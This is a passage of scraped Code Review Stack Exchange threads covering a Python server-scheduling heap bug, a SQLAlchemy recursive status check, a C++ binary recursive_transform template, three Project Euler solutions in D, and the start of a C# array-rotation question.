j = 0
while j < M:
if time in freeDic:
for freeServer in freeDic[time]:
heappush(h, freeServer)
del freeDic[time]
if len(h) > 0:
s = heappop(h)
res.append(s[1])
timeToFree = time + tasks[j]
if timeToFree in freeDic:
freeDic[timeToFree].append(s)
else:
freeDic[timeToFree] = [s]
j += 1
time += 1
return res
</code></pre>
<p>Failed case:</p>
<pre><code>Input:
[338,890,301,532,284,930,426,616,919,267,571,140,716,859,980,469,628,490,195,664,925,652,503,301,917,563,82,947,910,451,366,190,253,516,503,721,889,964,506,914,986,718,520,328,341,765,922,139,911,578,86,435,824,321,942,215,147,985,619,865]
[773,537,46,317,233,34,712,625,336,221,145,227,194,693,981,861,317,308,400,2,391,12,626,265,710,792,620,416,267,611,875,361,494,128,133,157,638,632,2,158,428,284,847,431,94,782,888,44,117,489,222,932,494,948,405,44,185,587,738,164,356,783,276,547,605,609,930,847,39,579,768,59,976,790,612,196,865,149,975,28,653,417,539,131,220,325,252,160,761,226,629,317,185,42,713,142,130,695,944,40,700,122,992,33,30,136,773,124,203,384,910,214,536,767,859,478,96,172,398,146,713,80,235,176,876,983,363,646,166,928,232,699,504,612,918,406,42,931,647,795,139,933,746,51,63,359,303,752,799,836,50,854,161,87,346,507,468,651,32,717,279,139,851,178,934,233,876,797,701,505,878,731,468,884,87,921,782,788,803,994,67,905,309,2,85,200,368,672,995,128,734,157,157,814,327,31,556,394,47,53,755,721,159,843]
Output:
[26,50,47,11,56,31,18,55,32,9,4,2,23,53,43,0,44,30,6,51,29,51,15,17,22,34,38,33,42,3,25,10,49,51,7,58,16,21,19,31,19,12,41,35,45,52,13,59,47,36,1,28,48,39,24,8,46,20,5,54,27,37,14,57,40,59,8,45,4,51,47,7,58,4,31,23,54,7,9,56,2,46,56,1,17,42,11,30,12,44,14,32,7,10,23,1,29,27,6,10,33,24,19,10,35,30,35,10,17,49,50,36,29,1,48,44,7,11,24,57,42,30,10,55,3,20,38,15,7,46,32,21,40,16,59,30,53,17,18,22,51,11,53,36,57,26,5,56,36,55,31,34,57,7,52,37,31,10,0,51,41,2,32,25,0,7,49,47,13,14,24,57,28,4,45,43,39,38,8,2,44,45,29,25,25,12,54,5,44,30,27,23,26,7,33,58,41,25,52,40,58,9,52,40]
Expected:
[26,50,47,11,56,31,18,55,32,9,4,2,23,53,43,0,44,30,6,51,29,51,15,17,22,34,38,33,42,3,25,10,49,51,7,58,16,21,19,31,19,12,41,35,45,52,13,59,47,36,1,28,48,39,24,8,46,20,5,54,27,37,14,57,40,59,8,45,4,51,47,7,58,4,31,23,54,7,9,56,2,46,56,1,17,42,11,30,12,44,14,32,7,10,23,1,29,27,6,10,33,24,19,10,35,30,35,10,17,49,50,36,29,1,48,44,7,11,24,57,42,30,10,55,3,20,38,15,7,46,32,21,40,16,59,30,53,17,18,22,51,11,53,36,57,26,5,36,56,55,31,34,57,7,52,37,31,10,0,51,41,2,32,25,0,7,49,47,13,14,24,57,28,4,45,43,39,38,8,2,44,45,29,25,25,12,54,5,44,30,27,23,26,7,33,58,41,25,52,40,58,9,52,40]
</code></pre>
|
[] |
[
{
"body": "<p>I experimented with this question but did not post anything because I assumed\nit was off-topic; however, I guess that was mistaken. Since you're solving\npuzzles on LeetCode, I assume you want the satisfaction of writing your own\nimplementation, so I'll refrain from posting my own approach to the problem. I\nbelieve your current code has two problems, both related to the <strong>management of\ntime</strong>.</p>\n<p><strong>Problem 1: you never start more than one task on any particular second.</strong>\nThat's that right approach if there is always a free server. However, if\nservers are all busy when a task is supposed to start, on the next second,\nwe now have two tasks eligible for starting. And if there are two free\nservers, we should start both tasks immediately. A short example:</p>\n<pre class=\"lang-text prettyprint-override\"><code># Two servers, with equal weights:\nservers = [1, 1]\n\n# Four tasks:\ntask durations = [3, 2, 1, 1]\ndesired start times = 0 1 2 3\nimplied finish times = 3 3 3 4\n\n# What happens:\n- At time=3, both previously-busy servers will be free.\n- We should start the last two tasks immediately.\n- But your code waits until time=4 to start the last one.\n\n# Expected result vs actual:\nexpected = [0, 1, 0, 1]\nactual = [0, 1, 0, 0]\n</code></pre>\n<p><strong>Problem 2: time ... increases ... too ... slowly</strong>. The current code\nincrements time by 1 second per loop iteration. That makes sense during the\nfirst <code>N</code> seconds (where <code>N</code> is number of tasks). But deeper into the future,\nthat slow pace can be a problem. If LeetCode were to feed your program tasks\nwith very large task durations, the loop would be needlessly chugging away for\na long time. For example, imagine the same servers as the example above, with\nthe following tasks: <code>[999999999, 999999999, 1, 1]</code>. A human could quickly\ncalculate the right answer, but your code could not. Granted, LeetCode limits\ntask durations to <code>200000</code> (not a very big number, so you could plow your way\nthrough it pretty fast), but in my experience posting answers to the site for\nthis question, my solutions would fail for being too slow whenever I incremented time naively. The key is to check only the relevant times,\nin the right order, of course ... which sounds like a good use case\nfor another heap.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T14:07:27.110",
"Id": "521138",
"Score": "1",
"body": "\"I experimented with this question but did not post anything because I assumed it was off-topic\" It is, we're sorry for the confusion. Feel free to find us [in chat](https://chat.stackexchange.com/rooms/8595/the-2nd-monitor) if anything is unclear."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T18:44:22.220",
"Id": "263786",
"ParentId": "263754",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T13:56:06.137",
"Id": "263754",
"Score": "2",
"Tags": [
"python",
"algorithm"
],
"Title": "Process Tasks Using Servers"
}
|
263754
|
<p>I currently this code working, but its performance is very poor — 1.45 seconds seems a bit too much for a simple recursive if statement that only checks attribute values.</p>
<pre><code>def _check_delete_status(self, obj) -> bool:
obj_name = obj._sa_class_manager.class_.__name__
self.visited.append(obj_name)
if getattr(obj, 'status', 'deleted').lower() != 'deleted':
children = [parent for parent in self._get_parents(self._get_table_by_table_name(obj_name)) if parent not in self.visited]
for child in children:
if (child_obj := getattr(obj, child, None)) and child not in self.visited:
if self._check_delete_status(child_obj):
return True
else:
return True
return False
</code></pre>
<p>Although <code>self._get_parents</code> seems like a counterintuitive name (it's used elsewhere in the code), in this case it is still very useful to this solution: It returns a list with all possible attribute names that object might have as children. For example, an object named <code>appointment</code> will have <code>['patient', 'schedule']</code> as response; of which <code>patient</code> will have <code>[]</code> since it doesn't have any children, and <code>schedule</code> will have <code>['physiotherapist', 'address', 'patient', 'service']</code> returned.</p>
<p>When those values are then used on <code>getattr(object, child_name)</code> it returns the object corresponding to the child.</p>
<p>I tried to think on how to do this iteratively, but couldn't up come with any solutions.</p>
<p>PS: The reason for the <code>self.visited</code> list, is that sometimes an object might have the exact same object nested inside, and since they have the same values they can be skipped.</p>
<p><strong>EDIT:</strong> The "helper" methods:</p>
<pre><code>def _get_table_by_table_name(self, table_name: str) -> Table:
return self._all_models[table_name]['table']
</code></pre>
<pre><code>@staticmethod
def _get_parents(table: Table) -> set:
parents = set()
if table.foreign_keys:
for fk in table.foreign_keys:
parent_name = fk.column.table.name
parents.add(parent_name) if parent_name != table.name else None
return parents
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T22:50:26.103",
"Id": "520809",
"Score": "1",
"body": "This is a class method - so please show the whole class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T23:02:49.990",
"Id": "520811",
"Score": "0",
"body": "@Reinderien The whole class is a bit too big, but I've included the other methods used."
}
] |
[
{
"body": "<p>Your code is improperly using lists.</p>\n<blockquote>\n<pre class=\"lang-py prettyprint-override\"><code>children = [parent for parent in self._get_parents(self._get_table_by_table_name(obj_name)) if parent not in self.visited]\n</code></pre>\n</blockquote>\n<p>By using a list comprehension you <em>have</em> to generate every parent <em>before</em> you can validate a parent. Lets instead use say you want to know if 0 is in <code>range(1_000_000)</code>. What your code would be doing is building a list of 1 million numbers <em>before</em> you check the first value is 0.</p>\n<p>You should use a generator expression, or just use standard <code>for</code> loops, to build <code>children</code> so we can exit early. (Of course doing so would rely on <code>self._get_parents</code> and <code>self._get_table_by_table_name</code> not returning lists. Which I don't have access to, so cannot comment on.)</p>\n<blockquote>\n<pre class=\"lang-py prettyprint-override\"><code>self.visited.append(obj_name)\n</code></pre>\n<pre class=\"lang-py prettyprint-override\"><code>parent not in self.visited\n</code></pre>\n<pre class=\"lang-py prettyprint-override\"><code>child not in self.visited\n</code></pre>\n</blockquote>\n<p>We know <code>self.visited</code> is a list. So we know <code>in</code> runs in <span class=\"math-container\">\\$O(n)\\$</span> time. You want to instead use a set which runs in <span class=\"math-container\">\\$O(1)\\$</span> time.</p>\n<hr />\n<p>Ignoring changing <code>self.visited</code> to a set you can simplify the code using <code>any</code> and a generator expression.</p>\n<pre class=\"lang-py prettyprint-override\"><code>def _check_delete_status(self, obj) -> bool:\n obj_name = obj._sa_class_manager.class_.__name__\n self.visited.append(obj_name)\n if getattr(obj, 'status', 'deleted').lower() == 'deleted':\n return True\n else:\n return any(\n child not in self.visited\n and (child_obj := getattr(obj, child, None))\n and child not in self.visited\n and self._check_delete_status(child_obj)\n for child in self._get_parents(self._get_table_by_table_name(obj_name))\n )\n</code></pre>\n<p>You should also notice you don't need <code>child not in self.visited</code> twice.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T21:40:44.467",
"Id": "520803",
"Score": "0",
"body": "While this does make the code way cleaner, it still took the same 1.45 seconds (even after changing `self.visited` to a set). Should I assume this happens for another reason?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T21:48:54.203",
"Id": "520806",
"Score": "0",
"body": "Making a quick perf_counter shows this:\n`Now at patient: Time since start -> 0.0 seconds`\n`Now at appointment: Time since start -> 0.0001 seconds`\n`Now at schedule: Time since start -> 0.3194 seconds`\n`Now at service: Time since start -> 0.5754 seconds`\n`Now at organization: Time since start -> 0.8869 seconds`\n`Now at physiotherapist: Time since start -> 1.312 seconds`\n`Now at address: Time since start -> 1.5363 seconds`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T21:52:30.853",
"Id": "520807",
"Score": "1",
"body": "@ViniciusF. If you've made all the changes I suggested (including removing the duplicate `child not in self.visited` and ensuring both `_get_parents` and `_get_table_by_table_name` do not return lists) then I, or anyone else, can't improve the performance of your code as you have not provided the code which has the performance issue."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T22:23:44.523",
"Id": "520808",
"Score": "1",
"body": "Yeah, thought so. I'm guessing this is a job for the cProfile then. But much appreciated for your help :D"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T19:47:52.377",
"Id": "263759",
"ParentId": "263758",
"Score": "1"
}
},
{
"body": "<p>I should've done this before, but I ran cProfile on my function and discovered that what was making it slow was totally unrelated to it being recursive or anything: SQLAlchemy was performing lazy-loading so it had to send some requests to get all relationships it needed which slowed my function down quite a bit.</p>\n<p>After I added <code>lazy='immediate'</code> to my <code>mapper</code> parameters it ran smoothly under 0.0006 seconds.</p>\n<p>Nevertheless, the code optimization suggested by Peilonrayz was quite useful and definitely implemented.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T23:40:06.170",
"Id": "263762",
"ParentId": "263758",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263759",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T19:04:40.133",
"Id": "263758",
"Score": "1",
"Tags": [
"python",
"python-3.x"
],
"Title": "Checks if all nested objects don't have 'status' attribute as 'deleted'"
}
|
263758
|
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/257757/231235">A recursive_transform Template Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++</a> and <a href="https://codereview.stackexchange.com/q/251208/231235">A recursive_print Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>. Besides the usage with single <code>Ranges</code> input like <code>recursive_transform<1>(Ranges, Lambda)</code>, I am attempting to extend <code>recursive_transform</code> function to deal with the binary operation cases <code>recursive_transform<>(Ranges1, Ranges2, Lambda)</code> which <code>Lambda</code> here could take two inputs. For example:</p>
<pre><code>std::vector<int> a{ 1, 2, 3 }, b{ 4, 5, 6 };
auto result1 = recursive_transform<1>(a, b, [](int element1, int element2) { return element1 + element2; });
for (auto&& element : result1)
{
std::cout << element << std::endl;
}
</code></pre>
<p>This code can be compiled and the output:</p>
<pre><code>5
7
9
</code></pre>
<p><strong>The experimental implementation</strong></p>
<ul>
<li><p><code>recursive_invoke_result2</code> struct implementation: in order to determine the type of output, <code>recursive_invoke_result2</code> struct is needed.</p>
<pre><code>template<typename, typename, typename>
struct recursive_invoke_result2 { };
template<typename T1, typename T2, std::invocable<T1, T2> F>
struct recursive_invoke_result2<F, T1, T2> { using type = std::invoke_result_t<F, T1, T2>; };
// Ref: https://stackoverflow.com/a/66821371/6667035
template<typename F, class...Ts1, class...Ts2, template<class...>class Container1, template<class...>class Container2>
requires (
!std::invocable<F, Container1<Ts1...>, Container2<Ts2...>>&&
std::ranges::input_range<Container1<Ts1...>>&&
std::ranges::input_range<Container2<Ts2...>>&&
requires { typename recursive_invoke_result2<F, std::ranges::range_value_t<Container1<Ts1...>>, std::ranges::range_value_t<Container2<Ts2...>>>::type; })
struct recursive_invoke_result2<F, Container1<Ts1...>, Container2<Ts2...>>
{
using type = Container1<typename recursive_invoke_result2<F, std::ranges::range_value_t<Container1<Ts1...>>, std::ranges::range_value_t<Container2<Ts2...>>>::type>;
};
template<typename F, typename T1, typename T2>
using recursive_invoke_result_t2 = typename recursive_invoke_result2<F, T1, T2>::type;
</code></pre>
</li>
<li><p><code>recursive_transform</code> for the binary operation cases implementation:</p>
<pre><code>// recursive_transform for the binary operation cases (the version with unwrap_level)
template<std::size_t unwrap_level = 1, class T1, class T2, class F>
constexpr auto recursive_transform(const T1& input1, const T2& input2, const F& f)
{
if constexpr (unwrap_level > 0)
{
recursive_invoke_result_t2<F, T1, T2> output{};
std::transform(
std::ranges::cbegin(input1),
std::ranges::cend(input1),
std::ranges::cbegin(input2),
std::inserter(output, std::ranges::end(output)),
[&f](auto&& element1, auto&& element2) { return recursive_transform<unwrap_level - 1>(element1, element2, f); }
);
return output;
}
else
{
return f(input1, input2);
}
}
</code></pre>
</li>
</ul>
<p><strong>The full testing code</strong></p>
<pre><code>// A recursive_transform template function for the binary operation cases in C++
#include <algorithm>
#include <array>
#include <cassert>
#include <chrono>
#include <complex>
#include <concepts>
#include <deque>
#include <execution>
#include <exception>
#include <functional>
#include <iostream>
#include <iterator>
#include <list>
#include <map>
#include <mutex>
#include <numeric>
#include <optional>
#include <ranges>
#include <stdexcept>
#include <string>
#include <tuple>
#include <type_traits>
#include <utility>
#include <variant>
#include <vector>
// recursive_print implementation
template<std::ranges::input_range Range>
constexpr auto recursive_print(const Range& input, const int level = 0)
{
auto output = input;
std::cout << std::string(level, ' ') << "Level " << level << ":" << std::endl;
std::ranges::transform(std::ranges::cbegin(input), std::ranges::cend(input), std::ranges::begin(output),
[level](auto&& x)
{
std::cout << std::string(level, ' ') << x << std::endl;
return x;
}
);
return output;
}
template<std::ranges::input_range Range> requires (std::ranges::input_range<std::ranges::range_value_t<Range>>)
constexpr auto recursive_print(const Range& input, const int level = 0)
{
auto output = input;
std::cout << std::string(level, ' ') << "Level " << level << ":" << std::endl;
std::ranges::transform(std::ranges::cbegin(input), std::ranges::cend(input), std::ranges::begin(output),
[level](auto&& element)
{
return recursive_print(element, level + 1);
}
);
return output;
}
// recursive_invoke_result_t implementation
template<typename, typename>
struct recursive_invoke_result { };
template<typename T, std::invocable<T> F>
struct recursive_invoke_result<F, T> { using type = std::invoke_result_t<F, T>; };
template<typename, typename, typename>
struct recursive_invoke_result2 { };
template<typename T1, typename T2, std::invocable<T1, T2> F>
struct recursive_invoke_result2<F, T1, T2> { using type = std::invoke_result_t<F, T1, T2>; };
template<typename F, template<typename...> typename Container, typename... Ts>
requires (
!std::invocable<F, Container<Ts...>>&&
std::ranges::input_range<Container<Ts...>>&&
requires { typename recursive_invoke_result<F, std::ranges::range_value_t<Container<Ts...>>>::type; })
struct recursive_invoke_result<F, Container<Ts...>>
{
using type = Container<typename recursive_invoke_result<F, std::ranges::range_value_t<Container<Ts...>>>::type>;
};
// Ref: https://stackoverflow.com/a/66821371/6667035
template<typename F, class...Ts1, class...Ts2, template<class...>class Container1, template<class...>class Container2>
requires (
!std::invocable<F, Container1<Ts1...>, Container2<Ts2...>>&&
std::ranges::input_range<Container1<Ts1...>>&&
std::ranges::input_range<Container2<Ts2...>>&&
requires { typename recursive_invoke_result2<F, std::ranges::range_value_t<Container1<Ts1...>>, std::ranges::range_value_t<Container2<Ts2...>>>::type; })
struct recursive_invoke_result2<F, Container1<Ts1...>, Container2<Ts2...>>
{
using type = Container1<typename recursive_invoke_result2<F, std::ranges::range_value_t<Container1<Ts1...>>, std::ranges::range_value_t<Container2<Ts2...>>>::type>;
};
template<typename F, typename T>
using recursive_invoke_result_t = typename recursive_invoke_result<F, T>::type;
template<typename F, typename T1, typename T2>
using recursive_invoke_result_t2 = typename recursive_invoke_result2<F, T1, T2>::type;
// recursive_transform implementation (the version with unwrap_level)
template<std::size_t unwrap_level = 1, class T, class F>
constexpr auto recursive_transform(const T& input, const F& f)
{
if constexpr (unwrap_level > 0)
{
recursive_invoke_result_t<F, T> output{};
std::ranges::transform(
std::ranges::cbegin(input),
std::ranges::cend(input),
std::inserter(output, std::ranges::end(output)),
[&f](auto&& element) { return recursive_transform<unwrap_level - 1>(element, f); }
);
return output;
}
else
{
return f(input);
}
}
// recursive_transform implementation (the version with unwrap_level, with execution policy)
template<std::size_t unwrap_level = 1, class ExPo, class T, class F>
requires (std::is_execution_policy_v<std::remove_cvref_t<ExPo>>)
constexpr auto recursive_transform(ExPo execution_policy, const T& input, const F& f)
{
if constexpr (unwrap_level > 0)
{
recursive_invoke_result_t<F, T> output{};
std::mutex mutex;
// Reference: https://en.cppreference.com/w/cpp/algorithm/for_each
std::for_each(execution_policy, input.cbegin(), input.cend(),
[&](auto&& element)
{
auto result = recursive_transform<unwrap_level - 1>(execution_policy, element, f);
std::lock_guard lock(mutex);
output.emplace_back(std::move(result));
}
);
return output;
}
else
{
return f(input);
}
}
// recursive_transform for the binary operation cases (the version with unwrap_level)
template<std::size_t unwrap_level = 1, class T1, class T2, class F>
constexpr auto recursive_transform(const T1& input1, const T2& input2, const F& f)
{
if constexpr (unwrap_level > 0)
{
recursive_invoke_result_t2<F, T1, T2> output{};
std::transform(
std::ranges::cbegin(input1),
std::ranges::cend(input1),
std::ranges::cbegin(input2),
std::inserter(output, std::ranges::end(output)),
[&f](auto&& element1, auto&& element2) { return recursive_transform<unwrap_level - 1>(element1, element2, f); }
);
return output;
}
else
{
return f(input1, input2);
}
}
void binary_test_cases();
int main()
{
binary_test_cases();
return 0;
}
void binary_test_cases()
{
// std::vector<int>
std::vector<int> a{ 1, 2, 3 }, b{ 4, 5, 6 };
auto result1 = recursive_transform<1>(a, b, [](int element1, int element2) { return element1 + element2; });
for (auto&& element : result1)
{
std::cout << element << std::endl;
}
// std::vector<std::vector<int>>
std::vector<decltype(a)> c{ a, a, a }, d{ b, b, b };
auto result2 = recursive_transform<2>(c, d, [](int element1, int element2) { return element1 + element2; });
recursive_print(result2);
// std::deque<int>
std::deque<int> test_deque;
test_deque.push_back(1);
test_deque.push_back(1);
test_deque.push_back(1);
auto result3 = recursive_transform<1>(test_deque, test_deque, [](int element1, int element2) { return element1 + element2; });
for (auto&& element : result3)
{
std::cout << element << std::endl;
}
// std::deque<std::deque<int>>
std::deque<decltype(test_deque)> test_deque2;
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
test_deque2.push_back(test_deque);
auto result4 = recursive_transform<2>(test_deque2, test_deque2, [](int element1, int element2) { return element1 + element2; });
recursive_print(result4);
// std::list<int>
std::list<int> test_list = { 1, 2, 3, 4 };
auto result5 = recursive_transform<1>(test_list, test_list, [](int element1, int element2) { return element1 + element2; });
for (auto&& element : result5)
{
std::cout << element << std::endl;
}
// std::list<std::list<int>>
std::list<std::list<int>> test_list2 = { test_list, test_list, test_list, test_list };
auto result6 = recursive_transform<2>(test_list2, test_list2, [](int element1, int element2) { return element1 + element2; });
recursive_print(result6);
return;
}
</code></pre>
<p>The output of the above tests:</p>
<pre><code>5
7
9
Level 0:
Level 1:
5
7
9
Level 1:
5
7
9
Level 1:
5
7
9
2
2
2
Level 0:
Level 1:
2
2
2
Level 1:
2
2
2
Level 1:
2
2
2
2
4
6
8
Level 0:
Level 1:
2
4
6
8
Level 1:
2
4
6
8
Level 1:
2
4
6
8
Level 1:
2
4
6
8
</code></pre>
<p><a href="https://godbolt.org/z/75x5rvbjT" rel="nofollow noreferrer">A Godbolt link is here.</a></p>
<p>All suggestions are welcome.</p>
<p>The summary information:</p>
<ul>
<li><p>Which question it is a follow-up to?</p>
<p><a href="https://codereview.stackexchange.com/q/257757/231235">A recursive_transform Template Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++</a> and</p>
<p><a href="https://codereview.stackexchange.com/q/251208/231235">A recursive_print Function For Various Type Arbitrary Nested Iterable Implementation in C++</a></p>
</li>
<li><p>What changes has been made in the code since last question?</p>
<p>I am attempting to extend <code>recursive_transform</code> function to deal with the binary operation cases in this post.</p>
</li>
<li><p>Why a new review is being asked for?</p>
<p>If there is any possible improvement, please let me know.</p>
</li>
</ul>
|
[] |
[
{
"body": "<p>The only remark I have is that you have a lot of code duplication between the version that takes a unary operator and one that takes a binary operator. I'm sure the implementation of <code>std::transform()</code> has a lot of duplication as well. However, with C++20 it should be easy to make a version that takes a predicate that can have any number of parameters, not just one or two. The only issue is that the order of parameters to your function should be such that all the containers come last. To illustrate, here is a version of <code>std::transform</code> that works with any <a href=\"https://en.wikipedia.org/wiki/Arity#n-ary\" rel=\"nofollow noreferrer\"><span class=\"math-container\">\\$n\\$</span>-ary function</a>:</p>\n<pre><code>template<typename OutputIt, typename NAryOperation, typename InputIt, typename... InputIts>\nOutputIt transform(OutputIt d_first, NAryOperation op, InputIt first, InputIt last, InputIts... rest) {\n while (first != last) {\n *d_first++ = op(*first++, (*rest++)...);\n }\n return d_first;\n}\n</code></pre>\n<p>We can combine support for <span class=\"math-container\">\\$n\\$</span>-ary functions with support for recursion. For example:</p>\n<pre><code>template<typename F, typename... Ts>\nstruct recursive_invoke_result {\n using type = std::invoke_result_t<F, Ts...>;\n};\n\ntemplate<typename F, typename... Ts>\nrequires (std::ranges::input_range<Ts> && ...)\nstruct recursive_invoke_result<F, Ts...> {\n using type = recursive_invoke_result<F, std::ranges::range_value_t<Ts>...>::type;\n};\n</code></pre>\n<p>So all this together should allow you to create a <code>recursive_transform()</code> that accepts a predicate that takes an arbitrary number of parameters.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T08:26:50.287",
"Id": "521034",
"Score": "0",
"body": "Thank you for the answering. Does `func` in the `transform` template function block seem to be `op`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T20:08:12.503",
"Id": "521064",
"Score": "1",
"body": "Yes, fixed it :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T21:58:55.120",
"Id": "263849",
"ParentId": "263767",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263849",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T07:06:05.603",
"Id": "263767",
"Score": "2",
"Tags": [
"c++",
"recursion",
"template",
"lambda",
"c++20"
],
"Title": "A recursive_transform template function for the binary operation cases in C++"
}
|
263767
|
<p>I recently wrote some programmes in <a href="https://dlang.org" rel="nofollow noreferrer">D language</a> to solve the first ten problems on <a href="https://projecteuler.net/" rel="nofollow noreferrer">Project Euler</a>, but I'll be discussing only three of them (but you're free to check out my <a href="https://github.com/Alekseyyy/SNHU/tree/main/sundries/ProjectEuler" rel="nofollow noreferrer">GitHub repo with all ten solutions</a>). I also wrote an article discussing the solutions (protip, if the paywall is giving you problems, just switch to private browsing): <a href="https://medium.com/math-simplified/euler-in-3d-89cc82fe6df7" rel="nofollow noreferrer">https://medium.com/math-simplified/euler-in-3d-89cc82fe6df7</a></p>
<p>So my general questions are:</p>
<ol>
<li>Is there a less computationally expensive way to implement the solutions?</li>
<li>Is this code maintainable?</li>
<li>Am I doing a decent job of naming my variables?</li>
</ol>
<p>But of course you may leave whatever feedback or comment you think is worth sharing, regardless of its tone.</p>
<p>And without further ado, here is my code:</p>
<ul>
<li><strong>The first</strong> calculates Fibonacci numbers less than four million and filters out the odd numbers:</li>
</ul>
<pre><code>/*
* Project Euler: Classic, "Even Fibonacci numbers" solution
* Implementation by A. S. "Aleksey" Ahmann <hackermaneia@riseup.net>
* - https://github.com/Alekseyyy
*
* Problem link: https://projecteuler.net/problem=2
*/
import std.stdio : writeln;
import std.algorithm.iteration : sum;
void main() {
int[2] fibonacci = [1, 2];
int[] even_fibonacci = [2];
do {
int fib_k = fibonacci[0] + fibonacci[1];
if (fib_k % 2 == 0)
even_fibonacci ~= fib_k;
fibonacci[0] = fibonacci[1];
fibonacci[1] = fib_k;
} while (fibonacci[0] + fibonacci[1] <= 3999999);
writeln(sum(even_fibonacci));
}
</code></pre>
<ul>
<li><strong>The second</strong> works out the 10,001st prime number:</li>
</ul>
<pre><code>/*
* Project Euler: Classic, "10001st prime" solution
* Implementation by A. S. "Aleksey" Ahmann <hackermaneia@riseup.net>
* - https://github.com/Alekseyyy
*
* Problem link: https://projecteuler.net/problem=7
* I ported some code from here: https://www.geeksforgeeks.org/python-program-for-sieve-of-eratosthenes/
*/
import std.stdio : writeln, printf;
import std.algorithm.mutation : fill;
int[] sieve(int n) {
//printf("On sieve function with n = %i\n", n);
bool[] bsieve = new bool[n + 1];
fill(bsieve, true);
for (int p = 2; p * p <= bsieve.length - 1; p++) {
if (bsieve[p] == true) {
for (int i = p * p; i <= bsieve.length - 1; i += p)
bsieve[i] = false;
}
}
int[] result;
for (int p = 2; p <= bsieve.length - 1; p++) {
if (bsieve[p])
result ~= p;
}
return result;
}
void main() {
int i = 0;
int[] primes;
do {
primes = sieve(i);
i = i + 10000;
} while (primes.length <= 10001);
writeln(primes[10000]);
}
</code></pre>
<ul>
<li><strong>The third</strong> gives us a number that is a thousand digits long and works out the largest product of 13 adjacent digits:</li>
</ul>
<pre><code>/*
* Project Euler: Classic, "Largest product in a series" solution
* Implementation by A. S. "Aleksey" Ahmann <hackermaneia@riseup.net>
* - https://github.com/Alekseyyy
*
* Problem link: https://projecteuler.net/problem=8
* Thanks to StackOverflowers for helping me with that code: https://stackoverflow.com/questions/68245264/inconsitent-behaviour-with-computation-of-greatest-product-given-n-adjacent-d
*/
import std.stdio : writeln;
import std.array : replace;
import std.conv : to;
string number = "73167176531330624919225119674426574742355349194934
96983520312774506326239578318016984801869478851843
85861560789112949495459501737958331952853208805511
12540698747158523863050715693290963295227443043557
66896648950445244523161731856403098711121722383113
62229893423380308135336276614282806444486645238749
30358907296290491560440772390713810515859307960866
70172427121883998797908792274921901699720888093776
65727333001053367881220235421809751254540594752243
52584907711670556013604839586446706324415722155397
53697817977846174064955149290862569321978468622482
83972241375657056057490261407972968652414535100474
82166370484403199890008895243450658541227588666881
16427171479924442928230863465674813919123162824586
17866458359124566529476545682848912883142607690042
24219022671055626321111109370544217506941658960408
07198403850962455444362981230987879927244284909188
84580156166097919133875499200524063689912560717606
05886116467109405077541002256983155200055935729725
71636269561882670428252483600823257530420752963450";
void main() {
number = replace(number, "\n", "");
long[] x = format_adjacent(number);
long largest_product = largestProduct(x, 13);
writeln(largest_product);
}
long[] format_adjacent(string number) {
long[] adjacent_numbers;
for (long i = 0; i < number.length; i++)
adjacent_numbers ~= to!long(number[i] - to!char("0"));
return adjacent_numbers;
}
long computeProduct(long[] sequence) {
long product = sequence[0];
for (long i = 1; i < sequence.length; i++)
product = product * sequence[i];
return product;
}
long largestProduct(long[] sequence, long slice) {
long largest_product = 0;
long n = 0;
long fin = to!long(sequence.length) - (slice - 1);
while (n < fin) {
long[] seq = sequence[n .. n + slice];
long product = computeProduct(seq);
if (product > largest_product)
largest_product = product;
n = n + 1;
}
return largest_product;
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T08:32:50.937",
"Id": "263769",
"Score": "0",
"Tags": [
"programming-challenge",
"mathematics",
"community-challenge",
"d"
],
"Title": "Three Project Euler solutions in the D programming language"
}
|
263769
|
<p>Loop through a given array 7 times and print the following output:</p>
<pre><code>int[] arr = { 9, 2, 7, 4, 6, 1, 3 };
</code></pre>
<blockquote>
<pre><code>92746
13927
46139
27461
39274
61392
74613
</code></pre>
</blockquote>
<p>And this is my code so far:</p>
<pre><code>static void Main(string[] args)
{
int[] arr = { 9, 2, 7, 4, 6, 1, 3 };
int rotate = 7;
int printsize = 5;
int addsize = 0;
int startsize = 0;
for (int i = 0; i < rotate; i++)
{
Print(arr, printsize, ref addsize, ref startsize);
}
}
static void Print(int[] arr, int printsize,ref int addsize, ref int startsize)
{
int n = (arr.Length - 1);
int loop = 0;
for (int j = startsize; j <= (printsize + addsize); j++)
{
Console.Write(arr[j]);
if (loop == 4)
{
startsize = j + 1;
addsize = (n) - j;
break;
}
